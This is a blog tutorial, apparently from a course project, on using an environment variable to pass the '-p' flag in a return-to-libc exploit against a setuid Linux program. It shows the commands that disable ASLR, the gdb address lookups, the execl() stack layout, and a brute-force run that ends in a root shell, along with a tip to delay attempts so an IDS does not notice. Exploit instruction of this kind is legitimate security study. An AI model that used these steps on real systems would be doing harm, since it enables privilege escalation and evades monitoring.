Using Environment Variables in an Exploit

Posted by

In my previous post, I explained in detail about return-to-libc attack and how it can be used to bypass Data Execution Prevention (DEP). However, at the end of the example we did not land the root shell because "/bin/sh" dropped privileges. We also learned that this behavior is default since Bash version 2.

So, how do we add the -p flag to "/bin/sh"? The execution environment is your friend.

Simply put, unlike "/bin/sh" the string -p cannot be found in the libc library, so we put its value in an environment variable and use that variable’s address in our shellcode.

Moving from system() to execl()

In the return-to-libc article, we used the system function to carry out the exploit. This is a problem, because we need to add the -p flag to "/bin/sh". system() accepts the command as a single string – "/bin/sh -p". This is not possible in our situation, unless the plan is to include the entire "/bin/sh -p" string in the environment variable. (suspicious?)

execl(), on the other hand accepts flags to an executable as separate arguments. We can then add the environment variable’s address as an argument to execl().

Plan of Attack

The attack methodology that we’ll follow is similar to the procedure we followed in the return-to-libc attack.

  1. Disable ASLR.
  2. Export the flag value, -p, to an environment variable, say fa.
  3. Find the addresses of:
    1. execl()
    2. "/bin/sh"
    3. fa
  4. Understand the stack arrangement that execl() expects.
  5. Construct the shellcode

Disable ASLR

ASLR randomizes the user space (and kernel space). Consequently, the stack, heap and libraries have randomized addresses. To demonstrate this exploit technique, it is necessary for me to disable ASLR.

nikhilh@ubuntu:~/target$ echo "0" |
sudo dd of=/proc/sys/kernel/randomize_va_space
0+1 records in
0+1 records out
2 bytes copied, 3.9726e-05 s, 50.3 kB/s

Exporting Flag Value to Environment Variable

We’ll use the hex code for -p because it’s cool.

nikhilh@ubuntu:~/target$ export fa=$(perl -e 'print "\x2d\x70"')

nikhilh@ubuntu:~/target$ env | grep fa=

Finding the addresses

execl() and "/bin/sh"

(gdb) print execl
$1 = {} 0xb7e64a80 <__GI_execl>
(gdb) find 0xb7e4da80, +999999999, "/bin/sh"
warning: Unable to access 16000 bytes of target memory at 0xb7fbb813, halting search.
1 pattern found.

execl() lies at 0xb7e64a80 and "/bin/sh" lies at 0xb7f0fa0b.

Environment Variable

Environment variables are found at the very top of the stack. It is possible to find their address using gdb:

(gdb) x/s *((char **) environ+53)
0xbff63e37: "fa=-p"

However, it is very likely that the address of the environment variable is different outside gdb. This is because gdb applies a variety of different configurations which are absent outside gdb. One of them is the addition of two environment variables, LINES and COLUMNS.

I consistently hit a Segmentation Fault when using the address I found through gdb. I also realized that any change in the environment or victim executable filename will lead to a change in the environment variable address.

The best way to minimize effort is to brute-force. It should also be noted that brute-forcing will cause the program to crash multiple times which will alert system administrators and IDS mechanisms. One simple way around an IDS, is to introduce a time delay between each execution. The total number of addresses that we’re brute-forcing is not large, so a modest time delay is okay.

It is important to remember that environment variables are present at the top of the stack, so when brute-forcing it would be faster to search down from the higher addresses. In the previous article, we had to brute-force one specific address too. Since this exploit is part of the same project, I’ve combined the brute-force code into one script. (Output is shown as part of the final demonstration.)

Stack Arrangement

In this exploit, we’re using execl() instead of system(). Consequently, the stack arrangement is slightly different. execl() requires the following:

  1. first argument – path to the executable.
  2. second argument – name of the executable.
  3. third argument onwards – flags to the executable.
  4. last argument – NULL.
"-p"  0xbfffffc7
"/bin/sh" 0xb7f0fa0b
ProgramSpecificAddress 0xbfffea78
ReturnAddress 0xb7e64a80

The program-specific-address mentioned above is part of a program restraint (refer to the previous article) which requires it to be constant during program execution. It is not relevant to the exploit technique. 


Here’s how the final shellcode turned out:


The brute-forcing script tries to find the lower two bytes of the environment variable’s address, so it doesn’t matter what values you place there. Why those bytes specifically? That was a guess on my part, keeping in mind that the top addresses of the stack will surely have 0xbfff as the top two bytes.


Weapons hot! It is time to launch the attack!

nikhilh@ubuntu:~/target$ python3
Trying: \x00
Segmentation fault (core dumped)
Trying: \x01
Segmentation fault (core dumped)
Trying: \x02
Segmentation fault (core dumped)
Trying: \x78
# whoami

There it is! The root shell that we wanted! If this happens on a real production system, everything is lost. It is a good thing that ASLR exists, but unfortunately there are bypass techniques for that too.


That’s it for this topic! Hopefully, we learned how environment variables can be utilized in exploits. The example provided above is part of a course project that I’m currently working on. Generic examples are easy to demonstrate but they’re not cool!

Thank you for reading! If you have any questions, please leave them in the comments section below and I’ll get back to you as soon as I can!

Leave a Reply

Your email address will not be published.